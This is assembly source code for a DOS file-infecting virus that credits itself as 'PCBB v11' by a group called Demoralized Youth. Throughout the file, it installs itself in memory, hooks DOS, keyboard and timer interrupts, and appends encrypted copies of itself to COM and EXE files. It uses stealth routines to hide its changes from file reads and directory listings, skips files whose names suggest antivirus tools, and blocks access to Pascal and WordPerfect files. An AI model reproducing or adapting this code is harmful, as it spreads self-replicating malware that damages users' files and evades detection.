sec equ 28 ideal equ 3*1024 ;every file will increase by this ammount of bytes ; ; ; ; ۲ ۲ ۲ ۲ ; ۲۲ ۲۲ ۲۲ ۲۲ ; ۲۲ ۲ ۲۲ ۲۲ ; ۲ ۲ ۲ ۲ ; ۲ ۲ ۲۲ ۲۲ ; ۲ ۲۲ ۲۲ ۲۲ ; ۲ ۲ ۲ ۲ ; ; ; ; Ver equ 11 ; cpt1 equ $ ;Checkpoint 1 enc_start equ $ org 100h call dummyjmp1 marker db 0 ;com / exe marker (0=com, 1=exe) dummyjmp1: pop bx cmp byte [bx],0 je is_a_com mov ax,es add ax,0 exe_cpt1 equ $-2 push ax mov ax,0 exe_cpt2 equ $-2 push ax push es pop ds jmp cont_install is_a_com: push cs mov ax,100h push ax cont_install: push ds push cs pop ds call one_three mov ax,0C001h mov bx,ax add ax,07DFFh db 0EBh,01,0EBh int 21h db 0E9h,1,0,0B8h cmp bx,0D00Dh je startup_fail call one_three ; cmp sp,-10h ; jb startup_fail mov ax,es dec ax mov es,ax cmp byte es:[0000h],'Z' jne startup_fail mov ax,es:[0003h] sub ax,tsr_para jc startup_fail mov es:[0003h],ax sub word ptr es:[0012h],tsr_para mov es,es:[0012h] call one_three call $+3 cpt3 equ $ ;Checkpoint 3 pop si sub si,(cpt3-cpt1) mov bx,si add si,(cpt4-cpt1) push cs push si mov si,bx mov cx,offset total-100h mov di,100h push es rep movsb mov di,offset init push di retf cpt4 equ $ ;Checkpoint 4 startup_fail: call $+3 dummycpt1 equ $-offset marker sub ax,ax xor bx,bx sub cx,cx xor dx,dx xor di,di sub bp,bp pop si pop ds push ds pop es cmp byte cs:[si-dummycpt1],1 je file_is_exe mov word [100h],20CDh rpl1 equ $-2 mov byte [102h],90h rpl2 equ $-1 file_is_exe: sub si,si retf cpt2 equ $ ;Checkpoint 2 ;**************************************************************************** ;* Data Area * ;**************************************************************************** ;sft equ 005Ch ;3Ah ofs_scan_crc equ 0050h ;+3 ofs_chk_ver equ 0053h ;+1 version number ofs_chk_size equ 0054h ;+2 version size ofs_chk_sig equ 0056h ;+4 signature header equ 005Ah ofs_first_3 equ 005Ah ;+3 three first bytes in COM ofs_time equ 008Dh ;+2 ofs_date equ 008Fh ;+2 ofs_attr equ 0091h ;2 sft_attr equ 04h ;(byte) sft_time equ 0Dh ;(word) sft_date equ 0Fh ;(word) sft_size equ 11h ;(dword) ; ;CRC signature added by "SCAN /AV" ;scan_sig db 0f0h,0fdh,0c5h,0aah,0ffh,0f0h set_sgm: push cs push ds f_size dw 0 bb_stat db 0 cntr dw 0 r_cntr dw 0,0 ;;; DISK S. DATA ;;; x_first3 db ' ' x_version db 0 x_size dw 0 x_sig db ' ' stat db 0 stat2 db 0 handle dw 0 _handle dw 0 ;_dx dw 0 ;_ds dw 0 _bytes dw 0 val_len dw 0,0 pos dw 0,0 pos2 dw 0,0 append dw 0 stealth1st dw 0 ;;;DISK S DATA ENDS;;; ;db 'Only The Good Die Young' jmp_to dw 0 push_all: pop cs:[jmp_to] push ax push bx push cx push dx push si push di push ds push es push bp jmp cs:[jmp_to] pop_all: pop cs:[jmp_to] pop bp pop es pop ds pop di pop si pop dx pop cx pop bx pop ax jmp cs:[jmp_to] handle_dir: popf call int21 pushf jnc back_handle_dir ; cmp ax,0 ; jne back_handle_dir call stealth_dir_handle sti back_handle_dir: popf iret fcb_dir: popf call int21 pushf cmp al,00h jne back_fcb_dir call stealth_dir_fcb sti back_fcb_dir: popf iret ;**************************************************************************** ;* Interupt 24 handler * ;**************************************************************************** ni24: mov al,3 iret ;**************************************************************************** ;* Call OLD Interrupt 21 Handler ;**************************************************************************** int21: pushf call dword ptr cs:org21 ret ;**************************************************************************** ;* Interupt 21 handler * ;**************************************************************************** ni21: pushf ;cmp ah,40h ;je __read ;jmp no_fcb12 ;no_bogus cmp ah,11h jne no_fcb11 jmp fcb_dir no_fcb11: cmp ah,12h jne no_fcb12 jmp fcb_dir no_fcb12: jmp no_bogus cmp ah,03Fh jne no_bogus __read: jmp _read no_bogus: cmp ah,03Eh jne body cmp bx,0C001h jne body mov bx,0D00Dh popf stc retf 2 o24 dw 0,0 o13 dw 0,0 body: call push_all push ax push ds push dx push es push bx xor ax,ax mov es,ax les bx,es:[24h*4] mov cs:o24[0],bx mov cs:o24[2],es mov ax,2524h mov dx,offset ni24 push cs pop ds call int21 pop bx pop es pop dx pop ds pop ax cmp ah,3Eh ;close ? jne vvv cmp bx,5 jl exit mov ah,45h ;duplicate handle jmp doit vvv: cmp ah,56h ;rename ? je dsdx cmp ah,43h ;chmod ? je dsdx cmp ah,3Dh jne not_open call pas_wp not_open: ; cmp ah,3Dh ;open ? ; je dsdx cmp ax,4B00h ;execute ? jne exit dsdx: mov ax,3D00h ;open the file doit: call int21 jc exit xchg ax,bx jmp infect exit: call reset_i24 glemmdet: call pop_all alfa: popf db 0EAh ;JMP FAR xxxx:xxxx org21 dw 0,0 avslussen: mov ah,4Ch int 21h one_three: ret pushf push ax push ds push dx push cs pop ds call $+3 pop dx sub dx,($-1)-offset avslussen push cs pop ds mov ax,2501h int 21h inc al inc al int 21h pop dx pop ds pop ax popf ret db 'PCBB v11 (c) Hannibal Lechter of Demoralized Youth Norway' ;**************************************************************************** ;* Try to stealth a HANDLE READ (3Fh) ;**************************************************************************** _read: cmp cs:stat,1 je alfa mov cs:stat,1 cmp bx,5 jl alfa jcxz alfa mov cs:stat2,0 call read cmp cs:stat2,0 je back2 popf pushf call dword ptr cs:org21 jc back3 pushf call push_all push ds pop es push cs pop ds mov bx,pos[0] mov cx,stealth1st[0] mov di,dx add di,bx mov si,offset header ;x_first3 add si,bx cld first_b2: movsb dec cx jcxz first_b1 inc bx cmp bx,24 jl first_b2 first_b1: call pop_all popf back3: mov cs:stat,0 mov cs:stat2,0 iret back2: mov cs:stat,0 mov cs:stat2,0 jmp alfa ;**************************************************************************** ;* Close the file ;**************************************************************************** close: push cx push dx mov ax,5701h mov cx,word cs:[ofs_time] mov dx,word cs:[ofs_date] call int21 ; mov al,byte cs:[ofs_attr] ; mov byte [di+4],al ; mov ax,4301h ; mov cx,word cs:[ofs_attr] ; call int21 pop dx pop cx mov ah,3Eh call int21 ret ;db 'Now I lay me down to sleep, I pray the lord my soul to keep, If I die before ' ;db 'I wake, I pray the lord my soul to take' infect: cld mov cs:handle,bx mov ax,5700h int 21h mov word cs:[ofs_time],cx mov word cs:[ofs_date],dx ;start NOP'ing here... ; push es ; push bx ; ; mov ax,3513h ; int 21h ; ; mov cs:o13[0],bx ; mov cs:o13[2],es ; ; mov ah,13h ; int 2Fh ; push es ; push bx ; int 2Fh ; pop dx ; pop ds ; mov ax,2513h ; int 21h ; ; pop bx ; pop es ; ;stop NOP'ing here... mov ax,1220h ;get file-table entry push bx push ax int 2Fh mov bl,es:[di] pop ax sub al,0Ah int 2Fh pop bx push es pop ds push [di+2] ;save attr & open-mode push [di+4] mov al,[di+4] mov byte cs:[ofs_attr],al cmp word [di+sft_size+2],0 jne close1v mov ax,word [di+sft_size] cmp ah,0F0h ja close1v cmp ah,0 jl close1v mov cs:f_size,ax cmp word ptr [di+28h],'XE' jne not_exe cmp word ptr [di+2Ah],'E' je check_name not_exe: cmp word ptr [di+28h],'OC' jne close1v ;jne cmp byte ptr [di+2Ah],'M' check: je check_name close1v: jmp close1 check_name: cmp byte ptr [di+20h],'V' ;name is V*.* ? je close1v cmp byte ptr [di+20h],'F' ;name is F*.* ? je close1v mov cx,7 ;name is *SC*.* ? mov ax,'CS' push di add di,21h cld SCloop: dec di scasw loopnz SCloop pop di je close1v mov byte ptr [di+2],2 ;open for read/write mov byte ptr [di+4],0 ;clear attributes cld jmp read_info _call1: jc close2 ; push [di+0Dh] ; push [di+0Fh] jmp patch_it _call0: ; pop [di+0Fh] ; pop [di+0Dh] close2: push es ;close after infection pop ds or byte ptr [di+6],40h ;no time-change ; pop [di+4] ; pop [di+2] ; push [di+2] ; push [di+4] close1: call close ;normal close or byte ptr [di+5],40h ;no EOF on next close pop [di+4] ;restore attribute & open-mode pop [di+2] ;start NOP ; lds dx,cs:o13[0] ; mov ax,2513h ; call int21 ;stop NOP jmp exit read_info: push ds push ds ;(ds) pop es push cs pop ds mov ah,3Fh mov cx,18h mov dx,ofs_first_3 call int21 jc failed cmp al,18h jne failed xchg cx,ax shr cx,1 mov si,ofs_first_3 mov di,offset dummy encr_l8b: lodsw xor ax,'IF' xor ax,'HS' xor ax,'W&' xor ax,'AH' xor ax,'EL' mov [di],ax inc di inc di loop encr_l8b mov ax,4202h mov cx,-1 mov dx,-10 call int21 jc failed mov ah,3Fh mov cx,10 mov dx,ofs_scan_crc call int21 jc failed cmp al,10 jne failed mov ax,word ptr [ofs_first_3] not ax cmp word ptr [ofs_chk_sig],'CP' ;is word [EOF-4] = 'PC' ? jne not_infected cmp word ptr [ofs_chk_sig+2],'BB' ;is word [EOF-2] = 'BB' ? jne not_infected jmp failed not_infected: pop ds clc jmp _call1 failed: pop ds stc jmp _call1 ;db 13,10 ;db "Whoe to you of earth and sea...",13,10 ;db "For the devil sends the beast with wrath,",13,10 ;db "Because he knows the time is short...",13,10 ;db "The people who have understanding,",13,10 ;db "Reckon the number of the beast,",13,10 ;db "Because it is a secret number...",13,10 ;db "It's number is six-hundred and sixty-six!",13,10,36 db 'When you are demoralized.... there is NO way out!',13,10,36 ;޳ ; Keyboard (Int 09h) Handler ޳ ;޳ key_rout: pushf inc cs:r_cntr[0] adc cs:r_cntr[2],0 inc cs:cntr cmp cs:cntr,offset total jl key_b1 mov cs:bb_stat,1 mov cs:cntr,0 key_b1: cmp cs:bb_stat,0 je key_b2 push ax push cx push dx push ds xor ax,ax mov ds,ax mov al,byte ptr [417h] and al,15 cmp al,15 jne key_b3 mov cs:bb_stat,0 mov dx,3DAh in al,dx mov dx,3BAh in al,dx mov dx,3C0h mov al,20h out dx,al key_b3: pop ds pop dx pop cx pop ax key_b2: popf db 0EAh old_key dw 0,0 ;old KBD vector ;޳ ; Timer Tick (Int 1Ch) Handler ޳ ;޳ tmr_rout: pushf cmp cs:bb_stat,0 je tmr_b1 push ax push dx mov dx,3DAh in al,dx mov dx,3BAh in al,dx mov dx,3C0h mov al,0 out dx,al ;0 = off, 32 = on pop dx pop ax tmr_b1: popf db 0EAh oldh dw 0,0 ;Old TIMER-TICK vector enc_data db 011h,009h,00Dh,0E8h,000h,000h,05Eh,081h,0C6h,00Eh,000h,0B9h,000h db 000h,080h,034h,000h,046h,0E2h,0FAh,013h,009h,00Fh,0E8h,000h,000h db 05Bh,081h,0C3h,010h,000h,0B9h,000h,000h,033h,0F6h,080h,030h,000h db 046h,0E2h,0FAh,015h,004h,012h,0E8h,000h,000h,0B9h,000h,000h,089h db 0E5h,081h,046h,000h,012h,000h,05Eh,046h,080h,074h,0FFh,000h,0E2h db 0F9h,015h,001h,012h,0B9h,000h,000h,089h,0E5h,0E8h,000h,000h,081h db 046h,0FEh,00Dh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,016h db 001h,013h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,036h,081h,047h db 0FEh,00Eh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,019h,001h db 016h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,083h,0EBh,004h,036h db 081h,047h,002h,011h,000h,05Fh,047h,080h,075h,0FFh,000h,0E2h,0F9h db 01Dh,009h,014h,0FCh,0EBh,002h,0C6h,006h,0E8h,000h,000h,0B9h,000h db 000h,05Eh,081h,0C6h,015h,000h,0EBh,001h,0CDh,0B4h,000h,0ACh,032h db 0C4h,088h,044h,0FFh,0E2h,0F8h encr_h_ofs dw 0 encr_h_cx db 0 encr_h_xor db 0 encr_h_len db 0 repl0: db 0E8h,0,0 repl1: jmp near 0100h patch_it: push di push si push ds push cs pop ds mov marker,0 cmp word [ofs_first_3],'MZ' je exe_calc cmp word [ofs_first_3],'ZM' je exe_calc mov ax,f_size sub ax,3 mov repl0[1],ax mov ax,word [ofs_first_3] mov dl,byte [ofs_first_3+2] mov [offset rpl1],ax mov [offset rpl2],dl jmp j_encrypt oldl0 dw 0 oldl2 dw 0 exe_calc: mov ax,4202h xor cx,cx xor dx,dx call int21 mov oldl0,ax mov oldl2,dx push ax push dx mov ax,word [header+16h] add ax,10h mov word [exe_cpt1],ax mov ax,word [header+14h] mov word [exe_cpt2],ax pop dx pop ax push ax push dx add ax,ideal adc dx,0 ; mov ax,oldl0 mov cx,512 div cx inc ax mov word [header+4],ax mov word [header+2],dx pop dx pop ax mov cx,16 div cx sub ax,word [header+8] mov word [header+16h],ax mov word [header+14h],dx mov marker,1 j_encrypt: call encrypt ;encrypt & write sahf jc no_write_1st mov ax,4200h xor cx,cx mov dx,cx call int21 cmp marker,1 je exe_jump mov ah,40h mov cx,3 mov dx,offset repl0 ;write "CALL" head call int21 jmp alldone exe_jump: mov ah,40h mov cx,18h mov dx,ofs_first_3 int 21h alldone: and byte cs:[ofs_time],255-31 or byte cs:[ofs_time],sec no_write_1st: pop ds pop si pop di sahf jmp _call0; ret ;db 'Blessed is the one who expects nothing, for he shall not be dissapointed$' ;޳ ; Encrypt & Write ޳ ;޳ encrypt: push ds ;Save DS & ES push es push cs ;DS = ES = CS push cs pop ds pop es push bx ;Save BX cld call choose_encryption_head ;Choose encryption head get_enc_key: db 0E4h,40h cmp al,0 je get_enc_key mov bh,0 ;BH = 0 mov bl,encr_h_xor ;BL = internal XOR-ofs mov byte [si+bx],al ;b [Si+Bx] = Encr. key mov bl,encr_h_cx ;BL = internal CX-ofs mov word [si+bx],offset total-10Ah ;w [Si+Bx] = Encr.length xchg di,ax ;DI = AX pop bx push bx push ax push di cld mov di,offset total mov cx,2048 mov al,'' rep stosb pop di xor ch,ch mov cl,encr_h_len add cx,offset total-100h xchg cx,ax mov cx,ideal sub cx,ax mov ah,40h mov append,cx mov dx,offset total mov word [total],1F0Eh call int21 pop ax mov ah,40h ;Write to handle pop bx ;restore handle number xor ch,ch ;CH = 0 mov cl,encr_h_len ;CL = Length of de-garbler mov dx,si ;DX = Offset to de-garbler-head call int21 ;Call DOS lahf ;AH = FLAGS cmp al,cl ;All bytes written? je success ;yes, then degarbler written sahf ;FLAGS = AH jnc success ;If no error, then... stc ;...set CY, and... ret ;...return. success: xchg di,ax ;DI = AX xchg al,ah ;Exchange AL with AH mov si,100h ;SourceIndex = 100h mov di,offset total ;DI = End-Of-Code mov cx,offset total-11Fh ;Encryption length encrypt_l: lodsb ;al = [SI], si: +1 xor al,ah ;garble byte stosb ;[DI] = al, di: +1 loop encrypt_l ;and again.... xor cx,cx mov cl,encr_h_len add cx,(offset total)-100h add cx,append mov size,cx mov cx,31 ;the last bytes remain rep movsb ;degarbeled mov ah,40h ;Write to handle mov cx,offset total-100h ;CX = Bytes mov dx,offset total ;DX = Garbeled code call int21 ;Call Dos clc lahf cmp al,cl ;all bytes written? je encr_b1 stc lahf encr_b1: pop es ;restore ES & DS pop ds sahf ret ;return ;޳ ; Choose which encryption-head to use with this generation, and store ޳ ; the pointer and the two internal offsets for later use. ޳ ;޳ choose_encryption_head: mov ah,2Ah ;get date call int21 ;using DOS xor ah,ah ;clear bits 9-16 of AX mov cx,ax ;copy AX into CX inc cx and cl,7 mov si,offset enc_data ;point SI to Enc_Data cld ;clear direction flag lete_etter_enc: lodsb ;al=[si] , si=si+1 add si,ax ;si = si + ax inc si ;si = si + 1 inc si ;si = si + 1 loop lete_etter_enc ;continue the searching ... funnet_riktige: sub si,ax dec si dec si mov encr_h_len,al lodsb ;load the CX offset mov encr_h_cx,al lodsb ;load the XOR offset mov encr_h_xor,al mov encr_h_ofs,si ret ;db 'Eddie lives... Somewhere in time...' init: cli xor ax,ax mov ds,ax mov si,9*4 mov di,offset old_key movsw movsw add si,(1Ch*4)-(9*4)-4 mov di,offset oldh movsw movsw add si,(21h*4)-(1Ch*4)-4 mov di,offset org21 movsw movsw mov word [09h*4+2],cs mov word [09h*4], offset key_rout mov word [1Ch*4+2],cs mov word [1Ch*4], offset tmr_rout mov word [21h*4+2],cs mov word [21h*4], offset ni21 sti retf ;޳ ; Disk Stealth: Read from handle (Int 21h,3Fh) ޳ ;޳ read: call push_all mov cs:_handle,bx mov cs:_bytes,cx push cs pop ds mov ax,1220h push bx push ax int 2Fh mov bl,es:[di] pop ax sub al,0Ah int 2Fh pop bx cmp word ptr [di+28h],'OC' jne j_dso1 cmp byte ptr [di+28h+2],'M' je j_dso0 j_dso1: cmp word ptr [di+28h],'XE' jne j_dso3 cmp byte ptr [di+28h+2],'E' je j_dso0 j_dso3: jmp phocked j_dso0: push es:[di+15h] push es:[di+17h] push es:[di+2h] or byte es:[di+2],3 mov ax,es:[di+15h] mov pos[0],ax mov ax,es:[di+17h] mov pos[2],ax mov ax,es:[di+11h] mov cx,es:[di+13h] sub ax,31 sbb cx,0 mov es:[di+15h],ax mov es:[di+17h],cx mov ah,3Fh mov cx,31 mov dx,header call int21 jnc read_b1 read_b2: jmp done_it read_b1: cmp al,31 jne read_b2 cmp byte [header+18h],11 jl read_b2 cmp word ptr [header+1Bh],'CP' ;[X_sig] jne read_b2 cmp word ptr [header+1Bh+2],'BB' ;[X_sig+2] jne read_b2 mov si,header push cx mov cx,12 decr_l8b: lodsw xor ax,'EL' xor ax,'AH' xor ax,'W&' xor ax,'HS' xor ax,'IF' mov [si-2],ax loop decr_l8b pop cx cmp word ptr pos[2],0 jne vid4 cmp word pos[0],23 ;2 ja vid4 mov stat2,1 mov ax,pos[0] mov bx,_bytes cmp bx,24 jb vid5 mov bx,24 vid5: sub bx,ax mov stealth1st[0],bx vid4: mov ax,es:[di+11h] mov dx,es:[di+13h] sub ax,[header+19h] ;[x_size] sbb dx,0 mov val_len[0],ax mov val_len[2],dx mov bx,pos[0] mov cx,pos[2] cmp cx,dx jbe vid2 mov _bytes,0 jmp done_it vid2: cmp cx,dx jne vid3 cmp bx,ax jb vid3 mov _bytes,0 jmp done_it vid3: mov ax,val_len[0] mov dx,val_len[2] mov bx,pos[0] mov cx,pos[2] add bx,_bytes adc cx,0 cmp cx,dx jae vid mov _bytes,0 jmp done_it vid: cmp cx,dx jne done_it cmp ax,bx jae done_it sub bx,ax sub _bytes,bx done_it: pop es:[di+2] ;restore SFT data's pop es:[di+17h] pop es:[di+15h] phocked: call pop_all mov cx,cs:_bytes ;change CX (if of any use) ret ;return ;޳ ; DIR Stealth ޳ ;޳ stealth_dir_handle: jc done_stealthing_handle pushf call push_all mov ah,2Fh call int21 mov ax,word ptr es:[bx+16h] and al,31 cmp al,sec jne done_stealthing_handle cmp word es:[bx+1Ah],3*1024 jc done_stealthing_handle sub word es:[bx+1Ah],3*1024 sbb word es:[bx+1Ch],0 done_stealthing_handle: jmp done_stealthing_fcb stealth_dir_fcb: pushf call push_all mov ah,2Fh call int21 cmp byte es:[bx],0FFh ;extended fcb? jne no_ext_fcb add bx,7 no_ext_fcb: mov al,byte ptr es:[bx+17h] and al,31 cmp al,sec jne done_stealthing_fcb cmp word es:[bx+1Dh],3*1024 jc done_stealthing_fcb sub word es:[bx+1Dh],3*1024 sbb word es:[bx+1Fh],0 done_stealthing_fcb: call pop_all popf ret reset_i24: push ds push dx push ax lds dx,cs:o24[0] mov ax,2524h ;restore int 24 vector call int21 pop ax pop dx pop ds ret wpbuff db ' ' ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ; Deny access to any PASCAL or WORD PERFECT files ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ PAS_WP: xchg bx,ax mov si,dx cld search_pas: lodsw dec si cmp al,0 je not_pas cmp ah,0 je not_pas and ax,0DFDFh cmp ax,'P.' and 0DFDFh jne search_pas mov ax,word [si+1] and ax,0DFDFh cmp ax,'SA' je fuck_wp not_pas: xchg bx,ax call int21 jc not_wp xchg bx,ax cmp bx,5 jb not_wp xor si,si mov ah,3Fh mov cx,3 push cs pop ds mov dx,offset wpbuff call int21 jc close_wp cmp cx,3 jne close_wp cmp word wpbuff[1],'PW' jne close_wp inc si close_wp: mov ah,3Eh call int21 cmp si,0 je not_wp fuck_wp: pop si call reset_i24 call pop_all popf mov ax,4 stc retf 2 not_wp: mov ah,3Dh ret ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ; Anti WiNDOWS Routine ; (Just started... Not at all ready!!!) ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ windows: ret ;; call push_all ; xchg cx,ax ; mov di,dx ; push ds ; pop es ; cld ; xor al,al ;winsrc: repnz scasb ; jne win_fail ; ; sub di,8 ; xchg si,di ;db 'Elo, Elo, lam sabaktni?' dummy db 18h dup(0) ;3 version db ver ;\ size dw (offset total)-100h ; > 6 bytes db 'PCBB' ;/ total: tsr_para equ ((1024*6)/16) +2 ;equ (($-100h / 16)+2)*2